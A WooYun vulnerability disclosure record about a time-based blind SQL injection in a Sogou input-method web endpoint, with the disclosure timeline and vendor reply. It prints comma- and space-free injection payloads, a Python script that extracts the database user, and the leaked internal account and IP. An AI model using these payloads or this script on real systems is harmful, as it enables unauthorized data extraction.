当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-079379
漏洞标题：
搜狗输入法的MySQL注射(不带逗号和空格注入)
相关厂商：
搜狗
漏洞作者：
lijiejie
提交时间：
2014-10-14 18:50
修复时间：
2014-11-28 18:52
公开时间：
2014-11-28 18:52
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
10
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-10-14： 细节已通知厂商并且等待厂商处理中
2014-10-18： 厂商已经确认，细节仅向厂商公开
2014-10-28： 细节向核心白帽子及相关领域专家公开
2014-11-07： 细节向普通白帽子公开
2014-11-17： 细节向实习白帽子公开
2014-11-28： 细节向公众公开

简要描述：

shouji.sogou.com上的MySQL注射
不带空格和逗号，即可注入。

详细说明：

注入点：
http://shouji.sogou.com/wap/app/ajax.php?skin_id=0
不带空格和逗号即可注入，time based盲注。
验证方法：
请求 http://shouji.sogou.com/wap/app/ajax.php?skin_id=(sleep(length(user())=24))
响应延迟，返回 db error!Query execution was interrupted
可判断user()长度为24.
http://shouji.sogou.com/wap/app/ajax.php?skin_id=(sleep(ascii(user())=105))
延迟，判断user()第一个字母是i
http://shouji.sogou.com/wap/app/ajax.php?skin_id=(sleep(ascii(mid(user()from(2)for(1)))=109))
测试发现，不带逗号、不带空格随便注入，猜解第二个字母是109,也即m。
几行python脚本猜解user()：

#encoding=utf-8
import httplib
import time
import string
import sys
import random
headers = {}
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.']
print 'sogou user() is:'
user = ''
for i in range(1,30,1):
    to_break = False
    for payload in payloads:
        try:
            headers['Cookie'] =  'PHPSESSID=%s' % random.random()
            conn = httplib.HTTPConnection('shouji.sogou.com', timeout=5)
            conn.request(method='GET', url="/wap/app/ajax.php?skin_id=(sleep(ascii(mid(user()from(%s)for(1)))=%s))" %
                         (i, ord(payload)) )
            status = conn.getresponse().status
            conn.close()
        except:
            user += payload
            sys.stdout.write( '\r[scan in progress] user() is:  ' + user )
            sys.stdout.flush()
            time.sleep(0.01)
            break
print ''
print 'user() is', user


漏洞证明：

猜解得到
user() is ime_shouji@10.13.26.28

sogou_1.png


修复方案：

参数过滤和必要的转义

版权声明：转载请注明来源 lijiejie@乌云

>

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2014-10-18 21:11

厂商回复：

低分原因：该漏洞之前已在SGSRC平台提交，我们正在修复。
感谢支持，欢迎到SGSRC平台提交漏洞。

最新状态：

暂无